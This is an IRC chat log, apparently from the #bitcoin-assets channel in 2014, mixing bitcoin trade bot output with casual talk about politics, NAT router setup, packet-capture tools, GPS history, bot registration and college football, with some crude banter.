15:04 assbot Logged on 11-08-2014 04:12:46; Jason: http://cahier2.ww7.be/bitcoinmirror/otc/today/
15:07 assbot [MPEX] [S.MPOE] 18755 @ 0.000753 = 14.1225 BTC [+]
15:07 penguirker New blog post: http://trilema.com/2014/today-is-the-international-day-of-remembering-how-mircea-popescu-is-better-than-me-and-related-observances/
15:10 mircea_popescu pete_dushenski: how does that much lulz fit in one little screen cap?<< guy kinda looks like a walrus
15:11 mircea_popescu kuzetsa: I just audited and apparently I made an assumption which is not true << ahem.
15:11 thestringpuller yay! how do I celebrate?
15:12 mircea_popescu Naphex: for all that panic with bash not too many exploits hitting << the good stuff happebed prior to the release.
15:12 mircea_popescu thestringpuller bake cookies ?
15:13 thestringpuller already done
15:15 asciilifeform mircea_popescu: today-is-the << great 'muhahahaha!' piece.
15:15 thestringpuller i love having 18900 trilema credits
15:16 mircea_popescu asciilifeform gotta do things to the fullest i say
15:16 mircea_popescu i can almost imagine some guy in say 2035 having to interact with that.
15:16 thestringpuller this article is the best thing ever
15:17 asciilifeform mircea_popescu: the unsettling discovery is that mass-derp can continue far longer than the example under consideration. e.g., 'crypto ag' still exists, multi-$b, 'unknown' ownership, and... multi-decade loyal customers.
15:18 asciilifeform there is a particular species of chumpatronium, what one might call a chumpassal (chump, vassal)
15:18 asciilifeform who demonstrates subservience by volunteering to wear the collar.
15:19 mircea_popescu hm ?
15:19 asciilifeform i think this even came up here once. u.s. corps deliberately closing eyes to back orifices of all kinds, to avoid the red tape of subpoenas
15:20 asciilifeform quite like the u.s. demand that eu 'galileo' sat. constellation have a u.s.-owned remote 'off' switch - 'or we'll have to shoot'
15:20 asciilifeform (^ what happened to that? i've no idea, ask them)
15:20 mircea_popescu not that it changes anything really.
15:20 mircea_popescu !up Kuba1234_
15:21 mircea_popescu asciilifeform the fact that the eu even considered that demand, and i don't mean answer to it, but even considered it
15:22 mircea_popescu puts the whole pretense of representativity into question.
15:22 asciilifeform obligatory, orlov's deer hunter... http://log.bitcoin-assets.com/?date=09-07-2014#750027
15:22 assbot Logged on 09-07-2014 00:50:59; asciilifeform: '…we need a word that describes the artifacts generated in response to irrational actors who demand to be fooled. As the old saying goes, “A fool and his money are soon parted” – at the fool’s own insistence, no less! If the deer comes out of the forest and walks up to the hunter, it is not proper hunting, and this is not proper con artistry or grift or embezzlement or any other term we use to describ
15:22 assbot [MPEX] [S.MPOE] 40900 @ 0.000753 = 30.7977 BTC [+]
15:22 asciilifeform we have an instance of symbiosis.
15:23 mircea_popescu i am unconvinced.
15:24 asciilifeform well, naturally. right now folks have to choose between 'rich and healthy or poor and diseased.' because actual security is expensive (the way unicorn meat is expensive)
15:24 asciilifeform but if it were an actual option, appealing to beggar and miser alike, then we know if deliberate bending over is the actual phenomenon at work
15:24 mircea_popescu it's not expensive except in terms of derpage.
15:25 mircea_popescu "can i wear my pretenses with this five dollar suit ?" "no" "wow what an EXPENSIVE suit!11"
15:25 asciilifeform this is rather more like how in parts of africa, it would be 'expensive' to hire a man without aids virus
15:26 asciilifeform i.e. you'd have to fly him in
15:26 mircea_popescu not so.
15:26 mircea_popescu that analogy would hold if a) no aids could infect trhe brain ever and b) all human parts were detachable, and cost less than a pill in a us hospital.
15:26 mircea_popescu 500 bucks buys you six different pairs of legs and arms
15:27 asciilifeform where do you buy software stack without any dark matter ?
15:28 mircea_popescu it's... free.
15:28 * asciilifeform might have a somewhat stricter definition of dark matter...
15:29 mircea_popescu no, you just don't want to apply management to the philosophical problem.
15:30 mircea_popescu suppose you have an infinite supply of liars. can you construct an oracle out of this ?
15:30 asciilifeform i'd happily apply alchemy and astrology, if they worked.
15:30 asciilifeform depends - what kind of liars.
15:30 asciilifeform if they're the 'greek' type, that are simply 'not gate', then - sure.
15:30 mircea_popescu suppose there's at least three different types, and you can identify them.
15:30 mircea_popescu absolutely.
15:30 asciilifeform classic puzzler for boys
15:30 asciilifeform of course yes.
15:30 mircea_popescu so then. debian, gentoo, bsds, etc.
15:31 asciilifeform but once you add fools (who can also be liars, but let's not complicate unnecessarily) to the mix...
15:31 mircea_popescu you don';t add fools to the mix.
15:31 mircea_popescu we're not building a world where fools have a chance.
15:31 mircea_popescu fools can be either slaves or dead.
15:32 asciilifeform generations of fools have shat in the soup, though.
15:32 mircea_popescu this is like saying "we've lived there forever"
15:32 asciilifeform e.g. the existence and continued persistence of 'c', x86, etc
15:32 mircea_popescu say to gengis, see.
15:33 chetty http://af.reuters.com/article/commoditiesNews/idAFL6N0RP3V020140924
15:33 assbot Austrian minister for legal action against EU over UK nuclear plant| Agricultural Commodities| Reuters
15:34 mircea_popescu chetty austrians are even more nutso than the germans
15:36 chetty the line of nutsos is getting long
15:38 mircea_popescu so today i learned someone came up with the following idea : take n2o4, heat. it dissociates into 2no2. put through turbine, extract work. as it cools and loses pressure n2o4 reforms. compress, cycle.
15:38 mircea_popescu i should like to see this thing blow up sometime.
15:40 assbot [MPEX] [S.MPOE] 31799 @ 0.000751 = 23.881 BTC [-] {2}
15:41 mats_cd03 http://www.cnn.com/2014/09/26/us/oklahoma-beheading/index.html
15:41 assbot Beheading suspect recently fired, Oklahoma police say - CNN.com
15:42 chetty this beheading thing is about at meme status
15:47 asciilifeform 'hedsoff.com'
15:47 mircea_popescu asciilifeform btw what did you think of the hour of battle rewrite ?
15:47 assbot [HAVELOCK] [B.SELL] 199 @ 0.00370351 = 0.737 BTC [-] {2}
15:48 asciilifeform mircea_popescu: it was spiffy, you oughta do more sheckleys.
15:48 * asciilifeform marches off to do meatspace chore
15:49 mircea_popescu hm.
15:52 mats_cd03 http://twentytwowords.com/girly-things-are-gut-wrenchingly-powerful-when-paired-with-poignant-military-pictures
15:52 assbot Girly things are gut-wrenchingly powerful when paired with poignant military pictures | 22 Words
15:53 Bet placed: 1 BTC for No on "Facebook Myspace'd" http://bitbet.us/bet/771/ Odds: 20(Y):80(N) by coin, 27(Y):73(N) by weight. Total bet: 24.93769036 BTC. Current weight: 35,829.
15:53 mircea_popescu why's this gutwrench[ing] construction become such a staple of chicklit anyway ?
15:54 mircea_popescu the likeliness of someone having actually witnessed a savaging is pretty much inversely proprotional to the count of "gutwrenching" they used over their lifetime.
15:54 mats_cd03 perhaps because females are intimately familiar with the particular sensation of gut wrenching?
15:54 mircea_popescu at best they flatter themselves to be.
15:54 mats_cd03 who knows. i dangle
15:56 mats_cd03 these fucking tumblr things are why personnel advocate for the draft
15:56 mats_cd03 as misguided as that is, there's something to be said for shared sacrifice
15:56 mircea_popescu by the way, that dangle reminds me : here's what i currently believe the best dialogue in the history of cinema : http://www.youtube.com/watch?v=9r-vu-l8mLE
15:56 assbot Miller's Crossing -- Take your flunky and dangle - YouTube
15:57 mircea_popescu mats_cd03 there's definitely value in educating teenagers.
15:58 * chetty thinks most women only have a vague idea of where gut is
16:02 bounce what? it's where all the feels are. obviously.
16:14 assbot [MPEX] [S.MPOE] 13550 @ 0.00075058 = 10.1704 BTC [-]
16:19 thestringpuller http://i.imgur.com/aRZvMZ6.jpg
16:20 mats_cd03 thestringpuller: i have an important question for you.
16:20 mats_cd03 are you like me, and your inner monologue is performed by a black man?
16:21 mats_cd03 i get this impression from you. perhaps i'm projecting.
16:22 assbot [MPEX] [S.MPOE] 33100 @ 0.00075023 = 24.8326 BTC [-] {3}
16:23 thestringpuller well i am a black man. i was just surrounded by white people all my life.
16:23 thestringpuller so my inner black man is very repressed. like in the chappelle's "When keeping it real goes wrong"
16:24 mats_cd03 i see
16:25 mats_cd03 i am yellow, so i guess i'm like a meat pie
16:31 bounce pink on the inside, yellow on the outside, and a blackened soul?
16:36 mats_cd03 sure
16:44 mircea_popescu "At the Munich Satellite Navigation Summit on 10 March 2010, a Chinese government official asked the European Commission why it no longer wanted to work with China, and when China's cash investment in Galileo would be returned."
16:44 mircea_popescu lel.
16:50 assbot [MPEX] [S.MPOE] 15429 @ 0.00074927 = 11.5605 BTC [-]
16:59 chetty https://pbs.twimg.com/media/ByZD6KmCYAAFFHm.jpg
17:02 mircea_popescu chetty quite.
17:02 mircea_popescu pity it doesn't also mention how bush and his lackey blair lied about imagined "weapons" that they themselves did have, but iraq did not have.
17:04 mircea_popescu all this mess stemming from the intellectually bankrupt ideology that there is such a thing as "progress" which somehow is made out of "change".
17:04 mircea_popescu when mingled with the nonsensical misrepresentation of democracy as a representative process, the resulting hypergolic explosion scatters headless chickens over a large surface, which headless chickens then proceed to "do something" because they "have to do something"
17:09 chetty http://www.buenosairesherald.com/article/170705/tax-bureau-gets-swiss-bank-accounts-data
17:09 assbot Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com
17:12 mircea_popescu everyone's whore, those swiss.
17:12 mircea_popescu "The head of the AFIP tax bureau Ricardo Echegaray received yesterday an encrypted CD from the French government containing information on 3,900 undeclared bank accounts of Argentine origin in the Swiss branch of HSBC. The original source of information is whistleblower Hervé Falciani, who worked as an IT engineer at the bank for seven years before deciding to leak what he saw as systemic tax evasion."
17:12 mircea_popescu lawl.
17:13 mircea_popescu "“We will analyze the information on a case-by-case basis, and cross-reference this database with the taxpayers that have declared accounts on Switzerland’s HSBC,” Echegaray explained afterwards when meeting the press at the Argentine Embassy in France." << how about "we can't use stolen data".
17:13 ben_vulpes and yet being "unbanked" is a bad thing to the libtard
17:14 mircea_popescu "According to Clarín’s supplement iEco, it was Falciani who originally contacted the Argentine authorities to talk about the list, but there was a legal obstacle to circumvent before the information could be used by AFIP: if the list was given straight to Echegaray outside official state channels, its validity would not have stood in front of a court of law.
17:14 mircea_popescu The fact that the information was today released by the French state to Echegaray under the legal umbrella of a bilateral agreement between both countries’ tax authorities on so-called double taxation put those doubts to rest."
17:15 mircea_popescu yeah lol, im sure it does.
17:15 mircea_popescu if you're poor.
17:17 assbot [MPEX] [S.MPOE] 31700 @ 0.0007508 = 23.8004 BTC [+] {2}
17:20 chetty http://deutsche-wirtschafts-nachrichten.de/2014/09/25/auf-dem-weg-in-den-autoritaeren-staat-ukraine-fuehrt-zwangsarbeit-ein/
17:20 assbot Auf dem Weg in den autoritren Staat: Ukraine fhrt Zwangsarbeit ein | DEUTSCHE WIRTSCHAFTS NACHRICHTEN
17:23 assbot [MPEX] [S.MPOE] 1833 @ 0.00074927 = 1.3734 BTC [-]
17:29 mircea_popescu “Butterfly Labs is disappointed in the heavy-handed actions of the Federal Trade Commission. In a rush to judgment, the FTC has acted as judge, jury and executioner, contrary to our intended system of governmental checks and balances. "
17:29 mircea_popescu dude check them out, they're doing it EXACTLY .
17:29 mircea_popescu “It appears the FTC has decided to go to war on bitcoin overall and is starting with Butterfly Labs. Butterfly Labs is being portrayed by the FTC as a bogus and fake company."
17:29 mircea_popescu scammer won't change his tune even if his tune is pre-published years earlier. because.. why would he.
17:30 mircea_popescu ;;later tell jborkl you don't know where to start ? here's a suggestion as to where to start : http://trilema.com/2013/preemptive-strike-to-have-on-hand-for-when-butterfly-labs-gets-hauled-off-to-jail-in-corpore/
17:30 assbot Preemptive strike, to have on hand for when Butterfly Labs gets hauled off to jail in corpore pe Trilema - Un blog de Mircea Popescu.
17:30 gribble The operation succeeded.
17:30 mircea_popescu ;;rated jborkl
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17:31 assbot [MPEX] [S.MPOE] 17188 @ 0.00074873 = 12.8692 BTC [-]
17:39 mats_cd03 bfl is bitcoin. good defense.
17:40 kakobrekla bfl is buttcoin.
17:53 BingoBoingo assbot> Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com << Much bigger news for BTC than PayPal trying to get its dick wet
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18:09 mircea_popescu soo, trying to daisychain nat routers. the 2nd one i configured to use as static ip 192.168.0.102 which is what the upstream one would have allocated it, and then 192.168.0.1 as gateway
18:09 mircea_popescu the router connects fine, as proven by knowing what time it is. computers connecting to it see its network, but fail to connect to the interwebs
18:09 mircea_popescu what am i doing wrong here ?
18:11 assbot [MPEX] [S.MPOE] 19900 @ 0.00075231 = 14.971 BTC [+]
18:11 BingoBoingo Did you make sure the goat was a virgin?
18:12 mircea_popescu no but srsly.
18:14 BingoBoingo Is it an issue with the firewall/packet-filter?
18:15 mircea_popescu i would guess no.
18:17 assbot MolokoDesk +v failed; L1: 0, L2: 0
18:18 dub you went long on NAT.ROUTERS
18:22 dub the meme that keeps on giving
18:23 mircea_popescu dub heh
18:25 mircea_popescu so can the innermost lan think the router is 192:168:0:1 while the router thinks the other router is 192:168:0:1 ?
18:25 mircea_popescu hm, this shou;dn't work.
18:26 dub correct
18:29 dignork never tried it, but net 1 - 192.168.0.x, net 2 - 192.168.1.x should work if both use 255.255.255.0 mask
18:31 mircea_popescu so logically, the outside router is 192.168.0.1, and the inside router 192.168.0.102 in its system. however the public ip address of the inside router is 192.168 >> 1 <<< . 1
18:31 mircea_popescu and everything magically works.
18:31 mircea_popescu dignork exactly. tyvm :)
18:32 mircea_popescu hey, being a network engineer is kinda fun.
18:32 dub lets see about 'everything'
18:33 mircea_popescu dub i know enough to do port forwarding for things that iwant to work,
18:33 mircea_popescu moreover i don't use so many dumb things that have annoying needs.
18:40 dub <mircea_popescu> hey, being a network engineer is kinda fun.
18:41 dub get back to me when you've stood in a cold noisy DC on a con call to mumbai for 15 hours
18:45 dignork dub: do you know of any sane alternative to wireshark? because working with <1G pcaps and re-reading the whole stupid file each time I change view filter hurts my sense of beauty
18:45 asciilifeform dignork: tcpdump...
18:45 dignork asciilifeform: it still works on unindexed raw file...
18:45 asciilifeform also lol, mircea_popescu getting his boxes off dhcp just today...?
18:46 dub ngrep et al are good for refining your set
18:46 asciilifeform afaik there is no serious contender for alternative to 'wireshark.'
18:46 asciilifeform just one of those things which there's precisely one of.
18:46 asciilifeform (at least 'wireshark' is phreee, unlike 'ida')
18:47 dignork they do have something commercial, but I did not look too close
18:48 asciilifeform chetty: ukraine-fuehrt-zwangsarbeit-ein << arbeit macht frei.
18:49 asciilifeform dignork: which 'they'
18:50 RagnarDanneskjol !up MolokoDesk
18:50 MolokoDesk hi.
18:50 MolokoDesk regarding the deedBot project: it's demonstratable now.
18:50 dignork asciilifeform: on wireshark site they promoted some wunder-вафля which can work with large datasets, but it's not there anymore
18:51 MolokoDesk and useable if you want to tolerate it's in-channel announcements. I'll make it terse by commenting most of those out. at that point it's ready to use.
18:51 RagnarDanneskjol mircea_popescu - pls ping MolokoDesk when you want to go over deed module
18:51 asciilifeform dignork: haha, yes, it's gone.
18:51 MolokoDesk the verbose messages are probably useful for the demo to discuss to any level of detail what it does and how it does it.
18:52 dub wiresharks problem is being single thread iirc
18:53 BingoBoingo Multithreading is just a workaround for the real problem
18:53 asciilifeform dub: has other problems also
18:53 dignork dub: it's IO bound mostly, so I'd vote for indexes :)
18:54 dub dudes at old shop bought a wizbang 24 core/80?gigglebits machine for the purpose,then watched it humming along on 1 core
18:57 * BingoBoingo is sad more people aren't building chips "Up" and making freon check a part of computer maintenance in more scenarios. Manhattan, New York instead of Manhattan, Kansas...
18:58 asciilifeform BingoBoingo: ever own the old 'koolance' freon cpu gizmo ?
18:59 BingoBoingo asciilifeform: not at all
18:59 asciilifeform nm, 'kryotech'
18:59 asciilifeform http://images.anandtech.com/old/cooling/kryotech/renegade/diagram.jpg
19:00 asciilifeform (why never caught on? answer: anything that can go below room temp. can have problems with condensation.)
19:00 BingoBoingo Ah, I'm imaging the heat exchange goes outdoors. Like in airconditioning.
19:01 asciilifeform regardless of where the hot end is.
19:01 asciilifeform if cold end is below room temp - can condense.
19:01 dub know a dude that built one out of an old fridge
19:01 asciilifeform trivial, esp. if you can weld.
19:02 dub never saw active duty for reason stated
19:02 asciilifeform simply not a very good idea.
19:02 asciilifeform better idea - gigantic heat sinks.
19:02 asciilifeform as in, desk sized.
19:02 BingoBoingo But if the cold end never dips below room temperature...
19:03 assbot [MPEX] [S.MPOE] 77405 @ 0.00074831 = 57.9229 BTC [-] {3}
19:03 * BingoBoingo is imagining single core producing lots of heat...
19:03 dub ercall this guy saying it was -36C on teh end oslt
19:04 BingoBoingo dub: Then his chip is severely underclocked for this solution
19:04 asciilifeform BingoBoingo: what are you working with ?
19:05 BingoBoingo asciilifeform: A napkin, "Netburst" pentium 4 stats and imagining scaling from there straight up on the clock...
19:07 xanthyos https://www.youtube.com/watch?v=KoQYy8NWIiE
19:07 assbot THURMAN VS BRUTALUS - YouTube
19:07 asciilifeform BingoBoingo: what do you intend to do with the memory ?
19:09 BingoBoingo asciilifeform: That might be on the next napkin. atm I'm kind of leaning towards the memory not of die using some heat to prevent condensation.
19:09 asciilifeform BingoBoingo: not the heat, no. the wait states.
19:11 BingoBoingo Bottleneck sure. Kind of like a disk drive in comparison. If a process and its handlers can't fit in 16 MB of on chip cache though this is a wrong solution for the task.
19:12 asciilifeform BingoBoingo: intel and amd both have 'cache-as-ram mode', find it.
19:13 RagnarDanneskjol requesting op please invite deedbot to chan
19:13 asciilifeform BingoBoingo: it is used, for example, by bios prior to dram init sequence.
19:13 asciilifeform kakobrekla ?
19:14 RagnarDanneskjol don't know who else is op in here
19:14 BingoBoingo asciilifeform: actually now my brain is encountering locking errors on finding a use case for garage sized single core monster machine.
19:15 asciilifeform if you don't know why you need it - you don't
19:16 asciilifeform BingoBoingo: here, have some fun, https://www.google.com/search?site=&tbm=pts&source=hp&q=national+security+agency
19:16 assbot national security agency - Google Search
19:16 asciilifeform (a long gap, more than a few years, between filing date and publication date - means a formerly secret patent. those are only printed when the subject matter leaks.)
19:17 assbot [MPEX] [S.MPOE] 7750 @ 0.00074826 = 5.799 BTC [-]
19:17 BingoBoingo Ah, more productive. I was almost going to have to posit a "spiritual" sort of use case. Machine that does i++ as fast as possible, not as useful machine but as useful monument.
19:17 asciilifeform prayer mill ?
19:18 asciilifeform build an adder out of GaAs ECL logic.
19:19 BingoBoingo Well, I dun see how such a machine would be useful as a networked device
19:19 asciilifeform actually it isn't an entirely useless thing, such devices can be used to provide experimental proof of, e.g., sr time dilation (yes, exists)
19:20 asciilifeform ^ was an actual problem with u.s. gps sats.
19:20 asciilifeform !up MolokoDesk
19:20 decimation time dilation is accounted for in any reasonable gps receiver
19:20 asciilifeform yes.
19:20 asciilifeform but, if i recall, wasn't, when first built.
19:21 decimation yeah I would believe. Also GPS is one of the few that chose a rational timebase, no leap seconds
19:21 BingoBoingo This is true. GPS in the 90's was rather useless for pinpoint one's location in a city. Can now tell which building's entrance you are pondering.
19:22 asciilifeform BingoBoingo: nothing to do with this. clinton switched off 'selective availability'
19:23 BingoBoingo I might need to read more, but I though the whole selective availability thing was a bluff.
19:23 asciilifeform BingoBoingo: misnomer. wasn't about the present-day claim of switching off location data to a geographic region
19:24 decimation selective availability definitely existed
19:24 asciilifeform rather, there were two signals, one 'civilian' - nearly worthless, another 'private' - which was accurate
19:24 assbot [MPEX] [S.MPOE] 10950 @ 0.00074756 = 8.1858 BTC [-] {2}
19:25 dub not same signal with a keyed delay?
19:25 BingoBoingo asciilifeform: Well yeah, that second is what I mean. I dunno that the private was especially useful until the satellites accounted for relativity as they intuited time onto the manifold.
19:26 asciilifeform http://www.aviationtoday.com/av/issue/feature/The-Real-Reason-Selective-Availability-Was-Turned-Off_12739.html
19:26 assbot Avionics Magazine :: The Real Reason Selective Availability Was Turned Off
19:26 asciilifeform ^ speculation
19:27 dub anyway isnt BingoBoingo conflating gps with goog/appl location service?
19:27 BingoBoingo https://www.google.com/patents/US7607858?dq=national+security+agency&hl=en&sa=X&ei=xfMlVNjpD5KYyASjy4CgBQ&ved=0CEIQ6AEwBQ << No countermeasure for thermite? (Not to breach, but to seal more)
19:27 assbot Patent US7607858 - Secure manhole accessway - Google Patents
19:27 dub gps still sucks without good sky
19:28 asciilifeform BingoBoingo: no countermeasure to a turned over garbage truck on it, either
19:28 BingoBoingo dub> anyway isnt BingoBoingo conflating gps with goog/appl location service? << Not really. Dun have those standards to work with.
19:28 kakobrekla RagnarDanneskjol cant you joint it?
19:28 kakobrekla join*
19:28 asciilifeform BingoBoingo: u.s. military establishment has an ancient obsession with kommunist saboteurs (tm) hiding inside manholes.
19:29 asciilifeform BingoBoingo: go to wash., d.c., look at manholes; sometimes they forget to strip the 'presidential' weld seals off.
19:30 BingoBoingo Ah, this particular municipality I'm in atm has a problem of erosion wound manholes threatening to collapse street, leaving the structures supporting manholes as tire slaughtering juggernauts.
19:30 MolokoDesk that's interesting. (.join function for deedBot)
19:31 BingoBoingo !up deedBot
19:31 MolokoDesk bear with the verbose mode...
19:31 MolokoDesk .dump
19:31 deedBot time=1411774314 LAST_BUNDLE_TIME=1411774109 elapsed=205
19:31 deedBot TRACKING: BUNDLE_PENDING-15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2.txt = (address = 15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2) (mtime = 1411774101) (ctime = 1411774109)
19:31 deedBot DEEDBOT_CHAN=#cex-squawk ERROR_CHAN=MolokoDesk USING_API=bkchain.org scraping/API INTERVAL=3600
19:31 deedBot (switching DEEDBOT_CHAN from #cex-squawk to #bitcoin-assets)
19:32 kakobrekla register the bots nick
19:32 MolokoDesk i would but I'm not sure I want to put my password in the code.
19:32 kakobrekla ...
19:32 kakobrekla make up a new password!
19:32 dub but its MY passwd!
19:32 kakobrekla ok ill make it up for you
19:33 dub 1p4sswerd
19:33 bounce *******
19:33 kakobrekla i was going to suggest password124
19:33 MolokoDesk freenode assigns the same password to every nick I register. they're all me. It's some anti-sockpuppet feature. There may be work around. I haven't looked into it deeply
19:33 kakobrekla (usually the hackers go for 123)
19:33 bounce haxx0rz!!1!
19:33 dub uh, use a different email address?
19:34 MolokoDesk registering it then dumping the registration would work, but not with WoT
19:34 kakobrekla listen to dub
19:34 bounce think you'd have to reg the bot separately anyhow. ask in #freenode?
19:34 dub but its MY email address!
19:34 kakobrekla use dubs email address
19:34 MolokoDesk heh.
19:34 BingoBoingo Use me@hotmail.com
19:35 MolokoDesk mailinator.com
19:35 BingoBoingo billg@microsoft.com
19:36 BingoBoingo or maybe even tlarussa@diamondbacks.com
19:36 BingoBoingo (last email address not known to go to a mailbox)
19:36 BingoBoingo (or the first)
19:39 MolokoDesk asking nickserv often works out well.
19:40 MolokoDesk I may simply make the deedBot register itself.
19:40 kakobrekla ping me when its done
19:44 MolokoDesk back in a while. shuffling logins and uninstalling/reinstalling deedBot. I'll spare you further details.
19:45 BingoBoingo So... MacIvory is kind of the first thing I've seen that makes the Mac II seem interesting
19:45 asciilifeform BingoBoingo: you can still buy them.
19:45 asciilifeform (or, last i checked, a few years ago0
19:45 BingoBoingo I know
19:47 asciilifeform and, incidentally...
19:49 asciilifeform ;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically.
19:49 assbot Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun!
19:49 gribble Error: For identification purposes, you must be identified via GPG to use the order book.
19:50 asciilifeform ;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically.
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19:50 assbot Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun!
19:50 gribble Order id 21509 created.
19:52 asciilifeform http://bitcoin-otc.com/vieworderbook.php << not looking so alive
19:52 assbot #bitcoin-otc order book
19:54 kakobrekla indeed
19:55 BingoBoingo http://blackbag.gawker.com/the-pentagon-isnt-done-investigating-1-700-child-porn-c-1639433705/+leahfinnegan
19:55 assbot The Pentagon Isn't Done Investigating 1,700 Child Porn Cases From 2006
19:57 asciilifeform even funnier, (linked) - http://blackbag.gawker.com/those-interceptor-fake-cell-phone-towers-are-in-washi-1637721419
19:57 assbot Those "Interceptor" Fake Cell Phone Towers Are in Washington D.C. Now
19:58 BingoBoingo asciilifeform: Why must you temp me with interesting hardware at a time when I'm trying to condense necessary harware to fit onto Backpack
19:58 * BingoBoingo is still surprised no one has bitten on the book I've listed in the orderbook
19:58 asciilifeform BingoBoingo: i've been saving that thing so that i can ask it to be brought to my 'peine forte et dure.'
19:58 asciilifeform but, one can only dream, of such a privilege nowadays.
19:59 asciilifeform (it weighs ~60 kg!)
19:59 asciilifeform the console - another 30
20:00 BingoBoingo Ah. So two of those could do most of the work in the 'peine forte et dure'
20:00 BingoBoingo To compensate I imagine they follow with individual grains of sand...
20:02 RagnarDanneskjol !up deedBot
20:04 BingoBoingo ;;ticker
20:04 gribble Bitstamp BTCUSD ticker | Best bid: 404.17, Best ask: 405.64, Bid-ask spread: 1.47000, Last trade: 403.42, 24 hour volume: 9924.61680006, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 404.93824206
20:05 assbot [MPEX] [S.MPOE] 13088 @ 0.00074756 = 9.7841 BTC [-]
20:06 asciilifeform BingoBoingo: https://www.google.com/patents/US6784591 << best lulz
20:06 assbot Patent US6784591 - Gravitational wave generator utilizing submicroscopic energizable elements - Google Patents
20:07 BingoBoingo What... the fuck...
20:08 BingoBoingo http://drgrumpyinthehouse.blogspot.com/2014/09/memories.html
20:08 assbot Doctor Grumpy in the House: Memories...
20:11 BingoBoingo Airplane is solaris box and scada controllers, Airplane is Unix box with wings http://www.theguardian.com/commentisfree/video/2012/apr/19/cory-doctorow-regulation-computation-video time roughly 15:15
20:11 assbot There is a war coming: Cory Doctorow on the future regulation of general purpose computation video | Comment is free | The Guardian
20:12 Duffer1 BingoBoingo, http://en.wikipedia.org/wiki/Speed_of_gravity
20:12 assbot Speed of gravity - Wikipedia, the free encyclopedia
20:14 asciilifeform as far as anyone can tell - equal to 'c'
20:15 Duffer1 yep, but without the traditional propogation of a signal through wire
20:16 BingoBoingo http://www.gomerblog.com/2014/09/resuscitate/ >> "Cons / Battery life is weak and Elmo’s chest cracks easily"
20:16 assbot Product Review: Mattels Resuscitate Me Elmo - Medical Satire - GomerBlog
20:16 Duffer1 presumably zero latency depending on the range of the receiving sensor
20:17 Duffer1 er presumably zero latency, range dependant on receiving sensor
20:18 asciilifeform if zero -> break sr
20:18 asciilifeform talk backwards in time, or with 'parallel universes' - take your pick
20:18 BingoBoingo Mega bezzel >> http://crazyrxman.blogspot.com/2014/09/another-reason-mail-order-pharmacy-sucks.html
20:18 assbot Crazy RxMan: Another Reason Mail Order Pharmacy Sucks
20:21 BingoBoingo Business makes other business its unpaid support line
~ 21 minutes ~
20:43 BingoBoingo http://www.sportsonearth.com/article/96334428/college-football-week-5-viewers-guide-picks-previews?partnerId=as_mlb_20140927_32347396
20:43 assbot Top teams will attempt to avoid traps in Week 5 of college football. | SportsonEarth.com : Matt Brown Article
20:50 BingoBoingo ^ Maryland v. Indiana should be an interesting game.
20:55 decimation the fact that maryland is in the big ten now his hilarious
20:57 BingoBoingo decimation: Not really considering Illinois managed to stay in. Hilarious will be that in the next 5 years there is going to be a game where Maryland fucks the ever loving shit out of Ohio State.
21:02 BingoBoingo decimation: What drives excitement in the college game is how disproportionately good the great players are in relation to replacement level. Hence Johnny Manziel singlehandedly making A&M competitive or Tevin Coleman avoiding a coma leading the Indiana upset over Missouri lastweekend almost on his own (Missouri's shitty center helped by not knowing how to snap the fucking ball to the quarterback) http://www.thedrinkingrecord.com/
21:02 assbot Bingo Blog | - of Bitcoin and Boingo
21:02 BingoBoingo 2014/09/22/a-rough-weekend-for-missouri-sports/
21:04 RagnarDanneskjol you follow SEC/ACC bingo?
21:05 BingoBoingo RagnarDanneskjol: Mostly SEC/Big 12
21:05 BingoBoingo Curse of one of the ALma Maters.
21:05 RagnarDanneskjol me too - they make other divisions look like JV imo
21:06 BingoBoingo For the Most part. On the downside other divisions can produce some ridiculously dominant teams due to the lack of serious threats
21:06 BingoBoingo See: Florida State
21:06 RagnarDanneskjol oh yea
21:07 BingoBoingo But I will admit last week's Mizzou loss, they might as well have fucking lost to Mckendree, another Alma Mater which only joined the NCAA 2 years ago, in D 2
21:08 RagnarDanneskjol right - that was pretty lame
21:09 BingoBoingo But still Tevin Coleman, coming back from a near coma was a beast for Indiana.
21:09 RagnarDanneskjol missed that one
21:10 BingoBoingo Dude sat out the entire second quarter on an oxygen machine, game back the second half. Made game winning plays. Definitely making it into the Nfl if he doesn't get himself killed first.
21:10 RagnarDanneskjol oh wow
21:12 BingoBoingo The dude was on supplemental oxygen though before he came back. Why he didn't fucking cross the street to the hospital(s) you could see on camera I will never know.
21:12 RagnarDanneskjol hmm
21:13 BingoBoingo On the other side Mizzou's quarterback displayed spectacluar gymnastic feats of athleticism... merely getting the ball on completely fucked snaps.
21:13 BingoBoingo Doubt He'll finish the season if they keep that center.
21:15 BingoBoingo You can have a great quarterback, but it doesn't mean much if they have to burn time getting the ball in the first place instead of getting it downfield.
21:15 RagnarDanneskjol exactly
21:17 BingoBoingo But that's a hazard of the College game. Good players lose eligibility. Whereas in the NFL you can pick a position play to within 5lbs and 0.5 inches of the coach's ideal
21:19 RagnarDanneskjol hmm. intersting point. I can't stand pro sports
21:19 BingoBoingo College teams have to keep merely replacement level players from being a handicap.
21:19 RagnarDanneskjol right
21:21 BingoBoingo Well, I like baseball because the great players have the space to make careers. Same for hockey. In the NFL though, I tend to root for players over teams and hope they survive long enough to make it over the sub-two year average career.
21:21 RagnarDanneskjol right - baseball is the exception
21:22 BingoBoingo Right, because Derek Jeter gets to go out with dignity and... Brett Farve after all that CTE can't even continue to grasp hook up etiquette.
21:22 RagnarDanneskjol ha
21:24 BingoBoingo The NBA of course is its own different animal in that it is still recovering from Space Jam, Kazam, and everything but basketball being the center of attention
21:25 BingoBoingo Baseball fucked itself pretty hard by discouraging anyone from liking good players with the PED witchhunt, but... At least it never had a Space Jam.
21:28 BingoBoingo As great as Lebron is, his legacy is going to be compared to the Mega Stars from before the Internet gave such categories serious competition.
21:29 RagnarDanneskjol mhmm
